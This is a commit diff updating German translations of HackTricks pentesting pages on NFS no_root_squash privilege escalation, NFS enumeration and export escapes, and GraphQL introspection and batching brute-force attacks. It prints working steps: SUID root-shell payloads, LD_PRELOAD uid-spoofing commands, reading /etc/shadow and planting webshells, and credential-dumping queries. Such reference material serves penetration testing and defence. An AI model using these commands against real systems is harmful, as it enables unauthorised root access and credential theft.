Translated ['src/linux-hardening/privilege-escalation/nfs-no_root_squash

2025-10-10 18:36:50 +00:00 · 2025-02-05 00:26:45 +00:00 · 2025-02-05 00:26:45 +00:00 · 3fdc9a3a98
commit 3fdc9a3a98
parent d09d95bf3d
10 changed files with 398 additions and 246 deletions
--- a/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md
+++ b/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md
@ -1,18 +1,29 @@
 {{#include ../../banners/hacktricks-training.md}}

-Lese die _ **/etc/exports** _ Datei. Wenn du ein Verzeichnis findest, das als **no_root_squash** konfiguriert ist, kannst du **darauf zugreifen** **als Client** und **in dieses Verzeichnis schreiben**, **als ob** du der lokale **root** der Maschine wärst.
+# Squashing Grundinformationen

-**no_root_squash**: Diese Option gibt im Grunde dem root-Benutzer auf dem Client die Berechtigung, Dateien auf dem NFS-Server als root zuzugreifen. Und das kann zu ernsthaften Sicherheitsproblemen führen.
+NFS wird normalerweise (insbesondere unter Linux) dem angegebenen `uid` und `gid` des Clients, der sich verbindet, vertrauen, um auf die Dateien zuzugreifen (wenn Kerberos nicht verwendet wird). Es gibt jedoch einige Konfigurationen, die auf dem Server eingestellt werden können, um **dieses Verhalten zu ändern**:

-**no_all_squash:** Dies ist ähnlich wie die **no_root_squash**-Option, gilt jedoch für **Nicht-Root-Benutzer**. Stell dir vor, du hast eine Shell als Benutzer nobody; hast die /etc/exports-Datei überprüft; die no_all_squash-Option ist vorhanden; überprüfe die /etc/passwd-Datei; emuliere einen Nicht-Root-Benutzer; erstelle eine SUID-Datei als dieser Benutzer (indem du NFS verwendest). Führe die SUID als Benutzer nobody aus und werde ein anderer Benutzer.
+- **`all_squash`**: Es squash alle Zugriffe, indem jeder Benutzer und jede Gruppe auf **`nobody`** (65534 unsigned / -2 signed) abgebildet wird. Daher ist jeder `nobody` und es werden keine Benutzer verwendet.
+- **`root_squash`/`no_all_squash`**: Dies ist standardmäßig unter Linux und **squasht nur den Zugriff mit uid 0 (root)**. Daher werden alle `UID` und `GID` vertraut, aber `0` wird auf `nobody` gesquasht (so ist keine Root-Imitation möglich).
+- **``no_root_squash`**: Diese Konfiguration, wenn aktiviert, squasht nicht einmal den Root-Benutzer. Das bedeutet, dass Sie, wenn Sie ein Verzeichnis mit dieser Konfiguration einhängen, darauf als Root zugreifen können.
+
+In der **/etc/exports**-Datei, wenn Sie ein Verzeichnis finden, das als **no_root_squash** konfiguriert ist, können Sie **darauf zugreifen** als **Client** und **innerhalb** dieses Verzeichnisses **schreiben**, als ob Sie der lokale **Root** der Maschine wären.
+
+Für weitere Informationen über **NFS** überprüfen Sie:
+
+{{#ref}}
+/network-services-pentesting/nfs-service-pentesting.md
+{{#endref}}

 # Privilegieneskalation

-## Remote-Exploit
+## Remote Exploit

-Wenn du diese Schwachstelle gefunden hast, kannst du sie ausnutzen:
-
- **Montiere dieses Verzeichnis** auf einer Client-Maschine und **kopiere als root** die **/bin/bash**-Binärdatei in den gemounteten Ordner und gebe ihr **SUID**-Rechte, und **führe von der Opfer**-Maschine diese Bash-Binärdatei aus.
+Option 1 unter Verwendung von bash:
+- **Dieses Verzeichnis** auf einer Client-Maschine **einbinden** und **als Root** die **/bin/bash**-Binärdatei in den eingebundenen Ordner kopieren und ihr **SUID**-Rechte geben, und **von der Opfer**-Maschine diese bash-Binärdatei ausführen.
+- Beachten Sie, dass, um Root innerhalb des NFS-Teils zu sein, **`no_root_squash`** auf dem Server konfiguriert sein muss.
+- Wenn es jedoch nicht aktiviert ist, könnten Sie zu einem anderen Benutzer eskalieren, indem Sie die Binärdatei in den NFS-Teil kopieren und ihr die SUID-Berechtigung als den Benutzer geben, zu dem Sie eskalieren möchten.
 ```bash
 #Attacker, as root user
 mkdir /tmp/pe
@ -25,7 +36,9 @@ chmod +s bash
 cd <SHAREDD_FOLDER>
 ./bash -p #ROOT shell
 ```
- **Das Verzeichnis** auf einem Client-Rechner einbinden und **als root** den kompilierten Payload in den eingebundenen Ordner kopieren, der die SUID-Berechtigung ausnutzt, ihm **SUID**-Rechte geben und **von der Opfer**-Maschine diese Binärdatei ausführen (hier finden Sie einige [C SUID-Payloads](payloads-to-execute.md#c)).
+Option 2 unter Verwendung von C kompiliertem Code:
+- **Mounten Sie dieses Verzeichnis** auf einer Client-Maschine und **kopieren Sie als root** unser kompiliertes Payload in den gemounteten Ordner, das die SUID-Berechtigung ausnutzt, geben Sie ihm **SUID**-Rechte und **führen Sie von der Opfer**-Maschine diese Binärdatei aus (hier finden Sie einige [C SUID-Payloads](payloads-to-execute.md#c)).
+- Dieselben Einschränkungen wie zuvor.
 ```bash
 #Attacker, as root user
 gcc payload.c -o payload
@ -42,18 +55,18 @@ cd <SHAREDD_FOLDER>
 ## Lokaler Exploit

 > [!NOTE]
-> Beachten Sie, dass Sie, wenn Sie einen **Tunnel von Ihrem Rechner zur Opfermaschine erstellen können, weiterhin die Remote-Version verwenden können, um diese Privilegieneskalation durch Tunneln der erforderlichen Ports auszunutzen**.\
-> Der folgende Trick gilt, falls die Datei `/etc/exports` **eine IP angibt**. In diesem Fall **werden Sie auf keinen Fall** die **Remote-Exploit** verwenden können und müssen **diesen Trick ausnutzen**.\
+> Beachten Sie, dass Sie, wenn Sie einen **Tunnel von Ihrem Rechner zum Opferrechner erstellen können, die Remote-Version weiterhin verwenden können, um diese Privilegieneskalation durch Tunneln der erforderlichen Ports auszunutzen**.\
+> Der folgende Trick gilt, falls die Datei `/etc/exports` **eine IP angibt**. In diesem Fall **werden Sie auf keinen Fall** die **remote exploit** verwenden können und müssen **diesen Trick ausnutzen**.\
 > Eine weitere erforderliche Bedingung, damit der Exploit funktioniert, ist, dass **der Export in `/etc/export`** **das `insecure`-Flag verwenden muss**.\
 > --_Ich bin mir nicht sicher, ob dieser Trick funktioniert, wenn `/etc/export` eine IP-Adresse angibt_--

 ## Grundinformationen

-Das Szenario beinhaltet das Ausnutzen eines gemounteten NFS-Teils auf einem lokalen Rechner, wobei eine Schwachstelle in der NFSv3-Spezifikation ausgenutzt wird, die es dem Client ermöglicht, seine uid/gid anzugeben, was potenziell unbefugten Zugriff ermöglicht. Der Exploit beinhaltet die Verwendung von [libnfs](https://github.com/sahlberg/libnfs), einer Bibliothek, die das Fälschen von NFS-RPC-Aufrufen ermöglicht.
+Das Szenario beinhaltet das Ausnutzen eines gemounteten NFS-Teils auf einem lokalen Rechner, wobei eine Schwachstelle in der NFSv3-Spezifikation ausgenutzt wird, die es dem Client ermöglicht, seine uid/gid anzugeben, was potenziell unbefugten Zugriff ermöglicht. Der Exploit beinhaltet die Verwendung von [libnfs](https://github.com/sahlberg/libnfs), einer Bibliothek, die das Fälschen von NFS RPC-Aufrufen ermöglicht.

 ### Kompilieren der Bibliothek

-Die Schritte zur Bibliothekskompilierung können je nach Kernelversion Anpassungen erfordern. In diesem speziellen Fall wurden die fallocate-Systemaufrufe auskommentiert. Der Kompilierungsprozess umfasst die folgenden Befehle:
+Die Schritte zur Kompilierung der Bibliothek könnten Anpassungen basierend auf der Kernelversion erfordern. In diesem speziellen Fall wurden die fallocate-Systemaufrufe auskommentiert. Der Kompilierungsprozess umfasst die folgenden Befehle:
 ```bash
 ./bootstrap
 ./configure
@ -62,34 +75,29 @@ gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L./lib
 ```
 ### Durchführung des Exploits

-Der Exploit besteht darin, ein einfaches C-Programm (`pwn.c`) zu erstellen, das die Berechtigungen auf root erhöht und dann eine Shell ausführt. Das Programm wird kompiliert, und die resultierende Binärdatei (`a.out`) wird mit suid root auf dem Share platziert, wobei `ld_nfs.so` verwendet wird, um die uid in den RPC-Aufrufen zu fälschen:
-
-1. **Kompilieren Sie den Exploit-Code:**
+Der Exploit besteht darin, ein einfaches C-Programm (`pwn.c`) zu erstellen, das die Berechtigungen auf root erhöht und dann eine Shell ausführt. Das Programm wird kompiliert, und die resultierende Binärdatei (`a.out`) wird im Share mit suid root platziert, wobei `ld_nfs.so` verwendet wird, um die uid in den RPC-Aufrufen zu fälschen:

+1. **Kompiliere den Exploit-Code:**
 ```bash
 cat pwn.c
 int main(void){setreuid(0,0); system("/bin/bash"); return 0;}
 gcc pwn.c -o a.out
 ```
-
-2. **Platzieren Sie den Exploit auf dem Share und ändern Sie seine Berechtigungen, indem Sie die uid fälschen:**
-
+2. **Platziere den Exploit im Share und ändere seine Berechtigungen, indem du die uid fälschst:**
 ```bash
 LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so cp ../a.out nfs://nfs-server/nfs_root/
 LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chown root: nfs://nfs-server/nfs_root/a.out
 LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod o+rx nfs://nfs-server/nfs_root/a.out
 LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs://nfs-server/nfs_root/a.out
 ```
-
-3. **Führen Sie den Exploit aus, um root-Rechte zu erlangen:**
+3. **Führen Sie den Exploit aus, um Root-Rechte zu erlangen:**
 ```bash
 /mnt/share/a.out
 #root
 ```
+## Bonus: NFShell für stealthy Datei Zugriff

-## Bonus: NFShell für stealthy Datei-Zugriff
-
-Sobald root-Zugriff erlangt wurde, wird ein Python-Skript (nfsh.py) verwendet, um mit dem NFS-Share zu interagieren, ohne den Besitz zu ändern (um Spuren zu vermeiden). Dieses Skript passt die uid an die des zuzugreifenden Files an, sodass die Interaktion mit Dateien auf dem Share ohne Berechtigungsprobleme möglich ist:
+Sobald Root-Zugriff erlangt wurde, wird ein Python-Skript (nfsh.py) verwendet, um mit dem NFS-Share zu interagieren, ohne den Besitz zu ändern (um Spuren zu vermeiden). Dieses Skript passt die uid an, um mit der des zuzugreifenden Datei übereinzustimmen, was die Interaktion mit Dateien auf dem Share ohne Berechtigungsprobleme ermöglicht:
 ```python
 #!/usr/bin/env python
 # script from https://www.errno.fr/nfs_privesc.html
--- a/src/network-services-pentesting/nfs-service-pentesting.md
+++ b/src/network-services-pentesting/nfs-service-pentesting.md
@ -2,30 +2,67 @@

 {{#include ../banners/hacktricks-training.md}}

-## **Grundinformationen**
+## **Grundlegende Informationen**

 **NFS** ist ein System, das für **Client/Server** konzipiert ist und es Benutzern ermöglicht, nahtlos auf Dateien über ein Netzwerk zuzugreifen, als ob sich diese Dateien in einem lokalen Verzeichnis befinden würden.

-Ein bemerkenswerter Aspekt dieses Protokolls ist das Fehlen von integrierten **Authentifizierungs**- oder **Autorisierungsmechanismen**. Stattdessen basiert die Autorisierung auf **Dateisysteminformationen**, wobei der Server dafür verantwortlich ist, die **vom Client bereitgestellten Benutzerinformationen** in das erforderliche **Autorisierungsformat** des Dateisystems genau zu übersetzen, hauptsächlich gemäß der **UNIX-Syntax**.
-
-Die Authentifizierung stützt sich häufig auf **UNIX `UID`/`GID`-Identifikatoren und Gruppenmitgliedschaften**. Ein Problem ergibt sich jedoch aufgrund der möglichen Diskrepanz in den **`UID`/`GID`-Zuordnungen** zwischen Clients und Servern, was keinen Raum für zusätzliche Überprüfungen durch den Server lässt. Folglich ist das Protokoll am besten für die Verwendung innerhalb **vertrauenswürdiger Netzwerke** geeignet, da es auf dieser Methode der Authentifizierung basiert.
-
-**Standardport**: 2049/TCP/UDP (außer Version 4, es benötigt nur TCP oder UDP).
+**Standardport**: 2049/TCP/UDP (außer Version 4, benötigt nur TCP oder UDP).
 ```
 2049/tcp open  nfs     2-3 (RPC #100003
 ```
+### Authentifizierung
+
+Ein bemerkenswerter Aspekt dieses Protokolls ist das übliche Fehlen von integrierten **Authentifizierungs**- oder **Autorisierungsmechanismen**. Stattdessen basiert die Autorisierung auf **Dateisysteminformationen**, wobei der Server dafür verantwortlich ist, die **vom Client bereitgestellten Benutzerinformationen** in das erforderliche **Autorisierungsformat** des Dateisystems genau zu übersetzen, hauptsächlich gemäß der **UNIX-Syntax**.
+
+Die Authentifizierung stützt sich häufig auf **UNIX `UID`/`GID`-Identifikatoren und Gruppenmitgliedschaften**. Ein Problem ergibt sich jedoch aufgrund der möglichen Diskrepanz in den **`UID`/`GID`-Zuordnungen** zwischen Clients und Servern, was keinen Raum für zusätzliche Überprüfungen durch den Server lässt. Darüber hinaus werden diese Details vom Client gesendet und vom Server vertraut, sodass ein böswilliger Client möglicherweise **einen anderen Benutzer imitieren kann, indem er privilegierte `uid` und `gid`s sendet.**
+
+**Beachten Sie jedoch, dass es standardmäßig nicht möglich ist, den `UID` 0 (root) mit NFS zu imitieren. Weitere Informationen dazu finden Sie im Abschnitt über Squashing.**
+
+#### Hosts
+
+Für eine bessere (oder einige) Autorisierung können Sie die **Hosts** angeben, die auf den NFS-Share zugreifen können. Dies kann in der Linux-Datei `/etc/exports` erfolgen. Zum Beispiel:
+```
+/PATH/TO/EXPORT      CLIENT1(OPTIONS1) CLIENT2(OPTIONS2) ...
+/media/disk/share   192.168.2.123(rw,sec=krb5p:krb5i)
+```
+As you can see, es ermöglicht die Konfiguration einer spezifischen **IP** oder **Hostname**, um auf den Share zuzugreifen. Nur diese Adresse kann auf den Share zugreifen.
+
 ### Versionen

- **NFSv2**: Diese Version ist bekannt für ihre breite Kompatibilität mit verschiedenen Systemen und markiert ihre Bedeutung mit anfänglichen Operationen überwiegend über UDP. Als die **älteste** in der Reihe legte sie den Grundstein für zukünftige Entwicklungen.
+- **NFSv2**: Diese Version ist bekannt für ihre breite Kompatibilität mit verschiedenen Systemen und markiert ihre Bedeutung mit anfänglichen Operationen, die überwiegend über UDP durchgeführt werden. Als die **älteste** in der Reihe legte sie den Grundstein für zukünftige Entwicklungen.

 - **NFSv3**: Eingeführt mit einer Reihe von Verbesserungen, erweiterte NFSv3 seinen Vorgänger, indem es variable Dateigrößen unterstützte und verbesserte Fehlerberichterstattungsmechanismen bot. Trotz seiner Fortschritte hatte es Einschränkungen in der vollständigen Rückwärtskompatibilität mit NFSv2-Clients.

 - **NFSv4**: Eine wegweisende Version in der NFS-Serie, brachte NFSv4 eine Reihe von Funktionen mit sich, die darauf abzielen, die Dateifreigabe über Netzwerke zu modernisieren. Zu den bemerkenswerten Verbesserungen gehören die Integration von Kerberos für **hohe Sicherheit**, die Fähigkeit, Firewalls zu durchqueren und über das Internet ohne die Notwendigkeit von Portmappern zu arbeiten, Unterstützung für Access Control Lists (ACLs) und die Einführung von zustandsbasierten Operationen. Die Leistungsverbesserungen und die Einführung eines zustandsbehafteten Protokolls heben NFSv4 als einen entscheidenden Fortschritt in der Technologie der Netzwerkdateifreigabe hervor.
+- Beachten Sie, dass es sehr seltsam ist, einen Linux-Host zu finden, der NFS mit Kerberos-Authentifizierung unterstützt.

-Jede Version von NFS wurde mit dem Ziel entwickelt, den sich entwickelnden Bedürfnissen von Netzwerkumgebungen gerecht zu werden, wobei Sicherheit, Kompatibilität und Leistung schrittweise verbessert wurden.
+Jede Version von NFS wurde mit der Absicht entwickelt, die sich entwickelnden Bedürfnisse von Netzwerkumgebungen zu adressieren und dabei Sicherheit, Kompatibilität und Leistung schrittweise zu verbessern.
+
+### Squashing
+
+Wie bereits erwähnt, wird NFS normalerweise dem `uid` und `gid` des Clients vertrauen, um auf die Dateien zuzugreifen (wenn Kerberos nicht verwendet wird). Es gibt jedoch einige Konfigurationen, die auf dem Server eingestellt werden können, um **dieses Verhalten zu ändern**:
+
+- **all_squash**: Es squasht alle Zugriffe, indem jeder Benutzer und jede Gruppe auf **`nobody`** (65534 unsigned / -2 signed) abgebildet wird. Daher ist jeder `nobody` und es werden keine Benutzer verwendet.
+- **root_squash/no_all_squash**: Dies ist standardmäßig auf Linux und **squasht nur Zugriffe mit uid 0 (root)**. Daher werden alle `UID` und `GID` vertraut, aber `0` wird auf `nobody` gesquasht (so ist keine Root-Impersonation möglich).
+- **no_root_squash**: Diese Konfiguration, wenn aktiviert, squasht nicht einmal den Root-Benutzer. Das bedeutet, dass Sie, wenn Sie ein Verzeichnis mit dieser Konfiguration einhängen, darauf als Root zugreifen können.
+
+### Subtree-Check
+
+Nur auf Linux verfügbar. man(5) exports sagt: "Wenn ein Unterverzeichnis eines Dateisystems exportiert wird, das gesamte Dateisystem jedoch nicht, muss der Server bei jedem NFS-Antrag nicht nur überprüfen, dass die zugegriffene Datei im entsprechenden Dateisystem ist (was einfach ist), sondern auch, dass sie im exportierten Baum ist (was schwieriger ist). Diese Überprüfung wird als Subtree-Check bezeichnet."
+
+In Linux ist die **`subtree_check`-Funktion standardmäßig deaktiviert**.

 ## Enumeration

+### Showmount
+
+Dies kann verwendet werden, um **Informationen von einem NFSv3-Server zu erhalten**, wie die Liste der **Exports**, wer **berechtigt ist, auf** diese Exports zuzugreifen, und welche Clients verbunden sind (was ungenau sein kann, wenn ein Client sich trennt, ohne dem Server Bescheid zu geben).
+In **NFSv4 greifen Clients direkt auf die /export** zu und versuchen, von dort auf Exports zuzugreifen, wobei sie fehlschlagen, wenn es ungültig oder aus irgendeinem Grund nicht autorisiert ist.
+
+Wenn Tools wie `showmount` oder Metasploit-Module keine Informationen von einem NFS-Port anzeigen, handelt es sich möglicherweise um einen NFSv4-Server, der Version 3 nicht unterstützt.
+```bash
+showmount -e <IP>
+```
 ### Nützliche nmap-Skripte
 ```bash
 nfs-ls #List NFS exports and check permissions
@ -36,7 +73,11 @@ nfs-statfs #Disk statistics and info from NFS share
 ```bash
 scanner/nfs/nfsmount #Scan NFS mounts and list permissions
 ```
-### Mounting
+### nfs_analyze
+
+Dieses Tool von [https://github.com/hvs-consulting/nfs-security-tooling](https://github.com/hvs-consulting/nfs-security-tooling) kann verwendet werden, um viele Daten von einem NFS-Server zu erhalten, wie **Mounts**, unterstützte NFS-Versionen, verbundene IPs und sogar, ob es möglich ist, **aus den Exports** in andere Ordner im FS zu **entkommen** oder **ob `no_root_squash` aktiviert ist**.
+
+## Mounting

 Um zu wissen, **welcher Ordner** dem Server **verfügbar** ist, um ihn zu mounten, können Sie ihn fragen mit:
 ```bash
@ -53,13 +94,38 @@ Sie sollten **Version 2** verwenden, da sie **keine** **Authentifizierung** oder
 mkdir /mnt/new_back
 mount -t nfs [-o vers=2] 10.12.0.150:/backup /mnt/new_back -o nolock
 ```
-## Berechtigungen
+## Angriffe

-Wenn Sie einen Ordner einhängen, der **Dateien oder Ordner enthält, die nur von einem bestimmten Benutzer** (durch **UID**) zugänglich sind. Sie können **lokal** einen Benutzer mit dieser **UID** erstellen und mit diesem **Benutzer** können Sie auf die Datei/den Ordner **zugreifen**.
+### Vertrauen auf UID und GID

-## NSFShell
+Natürlich ist das einzige Problem hier, dass es standardmäßig nicht möglich ist, root (`UID` 0) zu impersonieren. Es ist jedoch möglich, jeden anderen Benutzer zu impersonieren oder, wenn `no_root_squash` aktiviert ist, auch root zu impersonieren.

-Um einfach aufzulisten, zu mounten und UID und GID zu ändern, um Zugriff auf Dateien zu erhalten, können Sie [nfsshell](https://github.com/NetDirect/nfsshell) verwenden.
+- Wenn Sie einen Ordner einhängen, der **Dateien oder Ordner enthält, die nur von einem bestimmten Benutzer** (durch **UID**) zugänglich sind. Sie können **lokal** einen Benutzer mit dieser **UID** erstellen und mit diesem **Benutzer** werden Sie in der Lage sein, die Datei/den Ordner zu **zugreifen**.
+- Das Tool **`fuse_nfs`** von [https://github.com/hvs-consulting/nfs-security-tooling](https://github.com/hvs-consulting/nfs-security-tooling) sendet im Grunde immer die benötigte UID und GID, um auf die Dateien zuzugreifen.
+
+### SUID Privilegieneskalation
+
+Überprüfen Sie die Seite:
+
+{{#ref}}
+/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md
+{{#endref}}
+
+### Entkommen von den Exports
+
+In diesem [großartigen Artikel](https://www.hvs-consulting.de/en/nfs-security-identifying-and-exploiting-misconfigurations/) ist es möglich zu sehen, dass es möglich ist, **von den Exports zu entkommen, um auf andere Ordner im FS zuzugreifen**.
+
+Daher, wenn ein Export einen Ordner exportiert, der ein **Unterordner** des **gesamten Dateisystems** ist, ist es möglich, Dateien außerhalb des Exports zuzugreifen, wenn **`subtree_check`** deaktiviert ist. Und es ist **standardmäßig in Linux deaktiviert**.
+
+Zum Beispiel, wenn ein NFS-Server `/srv/` exportiert und `/var/` im selben Dateisystem ist, ist es möglich, Protokolle von `/var/log/` zu lesen oder eine Webshell in `/var/www/` zu speichern.
+
+Darüber hinaus beachten Sie, dass standardmäßig nur der root (0) Benutzer vor der Impersonierung geschützt ist (überprüfen Sie den Squash-Abschnitt). Wenn jedoch eine Datei **im Besitz von root ist, die Gruppe jedoch nicht 0 ist, ist es möglich, darauf zuzugreifen**. Zum Beispiel ist die Datei `/etc/shadow` im Besitz von root, aber die Gruppe ist `shadow` (gid 42 auf Debian). Daher ist es standardmäßig möglich, sie zu lesen!
+
+Das Tool **`nfs_analyze`** von [https://github.com/hvs-consulting/nfs-security-tooling](https://github.com/hvs-consulting/nfs-security-tooling) wurde entwickelt, um diesen Angriff gegen die Dateisysteme ext4, xfs, btrfs in der Version 3 zu unterstützen (es sollte auch in v4 möglich sein).
+
+### NSFShell
+
+Um einfach aufzulisten, zu mounten und UID und GID zu ändern, um Zugriff auf Dateien zu haben, können Sie [nfsshell](https://github.com/NetDirect/nfsshell) verwenden.

 [Nice NFSShell tutorial.](https://www.pentestpartners.com/security-blog/using-nfsshell-to-compromise-older-environments/)

@ -68,7 +134,7 @@ Um einfach aufzulisten, zu mounten und UID und GID zu ändern, um Zugriff auf Da
 /etc/exports
 /etc/lib/nfs/etab
 ```
-### Gefährliche Einstellungen
+## Gefährliche Einstellungen

 - **Lese- und Schreibberechtigungen (`rw`):** Diese Einstellung erlaubt sowohl das Lesen als auch das Schreiben im Dateisystem. Es ist wichtig, die Auswirkungen einer so breiten Zugriffsgewährung zu berücksichtigen.

--- a/src/network-services-pentesting/pentesting-web/graphql.md
+++ b/src/network-services-pentesting/pentesting-web/graphql.md
@ -23,11 +23,11 @@ Um exponierte GraphQL-Instanzen zu identifizieren, wird empfohlen, spezifische P
 - `/graphql/api`
 - `/graphql/graphql`

-Die Identifizierung offener GraphQL-Instanzen ermöglicht die Untersuchung der unterstützten Abfragen. Dies ist entscheidend für das Verständnis der über den Endpunkt zugänglichen Daten. Das Introspektionssystem von GraphQL erleichtert dies, indem es die Abfragen detailliert, die ein Schema unterstützt. Für weitere Informationen dazu siehe die GraphQL-Dokumentation zur Introspektion: [**GraphQL: A query language for APIs.**](https://graphql.org/learn/introspection/)
+Die Identifizierung offener GraphQL-Instanzen ermöglicht die Untersuchung der unterstützten Abfragen. Dies ist entscheidend für das Verständnis der über den Endpunkt zugänglichen Daten. Das Introspektionssystem von GraphQL erleichtert dies, indem es die Abfragen detailliert, die ein Schema unterstützt. Für weitere Informationen dazu siehe die GraphQL-Dokumentation zur Introspektion: [**GraphQL: Eine Abfragesprache für APIs.**](https://graphql.org/learn/introspection/)

 ### Fingerabdruck

-Das Tool [**graphw00f**](https://github.com/dolevf/graphw00f) kann erkennen, welcher GraphQL-Engine auf einem Server verwendet wird, und gibt dann einige hilfreiche Informationen für den Sicherheitsprüfer aus.
+Das Tool [**graphw00f**](https://github.com/dolevf/graphw00f) kann erkennen, welcher GraphQL-Engine auf einem Server verwendet wird, und druckt dann einige hilfreiche Informationen für den Sicherheitsprüfer aus.

 #### Universelle Abfragen <a href="#universal-queries" id="universal-queries"></a>

@ -41,7 +41,7 @@ Graphql unterstützt normalerweise **GET**, **POST** (x-www-form-urlencoded) und

 #### Introspektion

-Um Introspektion zu verwenden, um Schema-Informationen zu entdecken, abfragen Sie das `__schema`-Feld. Dieses Feld ist auf dem Wurzeltyp aller Abfragen verfügbar.
+Um Introspektion zu verwenden, um Schema-Informationen zu entdecken, abfragen Sie das Feld `__schema`. Dieses Feld ist auf dem Wurzeltyp aller Abfragen verfügbar.
 ```bash
 query={__schema{types{name,fields{name}}}}
 ```
@ -188,11 +188,11 @@ Beachten Sie, dass Sie im Falle, dass das **Objekt, das abgefragt werden soll**,

 ![](<../../images/image (958).png>)

-einfach abfragen können:
+einfach damit abfragen können:
 ```javascript
 query = { hiddenFlags }
 ```
-In einem anderen Beispiel, in dem es 2 Objekte im Typ-Objekt "_Query_" gab: "_user_" und "_users_".\
+In einem anderen Beispiel, in dem es 2 Objekte im Typ "_Query_" gab: "_user_" und "_users_".\
 Wenn diese Objekte keine Argumente benötigen, um zu suchen, könnte man **alle Informationen von ihnen abrufen**, indem man einfach nach den gewünschten Daten fragt. In diesem Beispiel aus dem Internet könnte man die gespeicherten Benutzernamen und Passwörter extrahieren:

 ![](<../../images/image (880).png>)
@ -204,7 +204,7 @@ Wenn man jedoch in diesem Beispiel versucht, dies zu tun, erhält man diesen **F
 Es scheint, dass es irgendwie mit dem Argument "_**uid**_" vom Typ _**Int**_ suchen wird.\
 Wie auch immer, das wussten wir bereits, im Abschnitt [Basic Enumeration](graphql.md#basic-enumeration) wurde eine Abfrage vorgeschlagen, die uns alle benötigten Informationen zeigte: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`

-Wenn du das Bild liest, das ich bereitgestellt habe, wirst du sehen, dass "_**user**_" das **arg** "_**uid**_" vom Typ _Int_ hatte.
+Wenn du das Bild liest, das bereitgestellt wurde, als ich diese Abfrage ausgeführt habe, wirst du sehen, dass "_**user**_" das **arg** "_**uid**_" vom Typ _Int_ hatte.

 Durch einige leichte _**uid**_-Bruteforce fand ich heraus, dass bei _**uid**=**1**_ ein Benutzername und ein Passwort abgerufen wurden:\
 `query={user(uid:1){user,password}}`
@ -221,7 +221,7 @@ Und während der **Enumeration-Phase** entdeckte ich, dass das Objekt "_**dbuser

 Wenn du nach einem String-Typ suchen kannst, wie: `query={theusers(description: ""){username,password}}` und du **nach einem leeren String** suchst, wird es **alle Daten dumpen**. (_Beachte, dass dieses Beispiel nicht mit dem Beispiel der Tutorials zusammenhängt, für dieses Beispiel gehe davon aus, dass du mit "**theusers**" nach einem String-Feld namens "**description**" suchen kannst_).

-### Suchen
+### Suche

 In diesem Setup enthält eine **Datenbank** **Personen** und **Filme**. **Personen** werden durch ihre **E-Mail** und **Namen** identifiziert; **Filme** durch ihren **Namen** und **Bewertung**. **Personen** können Freunde miteinander sein und auch Filme haben, was Beziehungen innerhalb der Datenbank anzeigt.

@ -304,7 +304,7 @@ rating
 ```
 **Beachten Sie, wie sowohl die Werte als auch der Datentyp in der Abfrage angegeben sind.**

-Darüber hinaus unterstützt die Datenbank eine **Mutation**-Operation, die `addPerson` genannt wird, die die Erstellung von **Personen** zusammen mit ihren Assoziationen zu bestehenden **Freunden** und **Filmen** ermöglicht. Es ist wichtig zu beachten, dass die Freunde und Filme bereits in der Datenbank vorhanden sein müssen, bevor sie mit der neu erstellten Person verknüpft werden.
+Zusätzlich unterstützt die Datenbank eine **Mutation**-Operation, die `addPerson` genannt wird, die die Erstellung von **Personen** zusammen mit ihren Verbindungen zu bestehenden **Freunden** und **Filmen** ermöglicht. Es ist wichtig zu beachten, dass die Freunde und Filme bereits in der Datenbank vorhanden sein müssen, bevor sie mit der neu erstellten Person verknüpft werden.
 ```javascript
 mutation {
 addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
@ -334,12 +334,12 @@ releaseYear
 ```
 ### Directive Overloading

-Wie in [**einer der Schwachstellen, die in diesem Bericht beschrieben sind**](https://www.landh.tech/blog/20240304-google-hack-50000/) erklärt, bedeutet eine Directive Overloading, dass eine Direktive sogar Millionen von Malen aufgerufen wird, um den Server dazu zu bringen, Operationen zu verschwenden, bis es möglich ist, ihn DoS zu machen.
+Wie in [**einer der Schwachstellen, die in diesem Bericht beschrieben sind**](https://www.landh.tech/blog/20240304-google-hack-50000/) erklärt, bedeutet Directive Overloading, eine Direktive sogar Millionen von Malen aufzurufen, um den Server dazu zu bringen, Operationen zu verschwenden, bis es möglich ist, ihn DoS zu machen.

 ### Batching brute-force in 1 API request

 Diese Informationen stammen von [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/).\
-Authentifizierung über die GraphQL API mit **gleichzeitigem Senden vieler Abfragen mit unterschiedlichen Anmeldeinformationen**, um dies zu überprüfen. Es handelt sich um einen klassischen Brute-Force-Angriff, aber jetzt ist es möglich, mehr als ein Login/Passwort-Paar pro HTTP-Anfrage zu senden, dank der GraphQL-Batching-Funktion. Dieser Ansatz würde externe Rate-Überwachungsanwendungen täuschen, indem er denkt, dass alles in Ordnung ist und kein Brute-Forcing-Bot versucht, Passwörter zu erraten.
+Authentifizierung über die GraphQL-API mit **gleichzeitigem Senden vieler Abfragen mit unterschiedlichen Anmeldeinformationen**, um dies zu überprüfen. Es handelt sich um einen klassischen Brute-Force-Angriff, aber jetzt ist es möglich, mehr als ein Login/Passwort-Paar pro HTTP-Anfrage zu senden, dank der GraphQL-Batching-Funktion. Dieser Ansatz würde externe Rate-Überwachungsanwendungen täuschen, indem er denkt, dass alles in Ordnung ist und kein Brute-Forcing-Bot versucht, Passwörter zu erraten.

 Unten finden Sie die einfachste Demonstration einer Anwendungsauthentifizierungsanfrage, mit **3 verschiedenen E-Mail/Passwort-Paaren gleichzeitig**. Offensichtlich ist es möglich, Tausende in einer einzigen Anfrage auf die gleiche Weise zu senden:

@ -353,7 +353,7 @@ Wie wir aus dem Screenshot der Antwort sehen können, gaben die erste und die dr

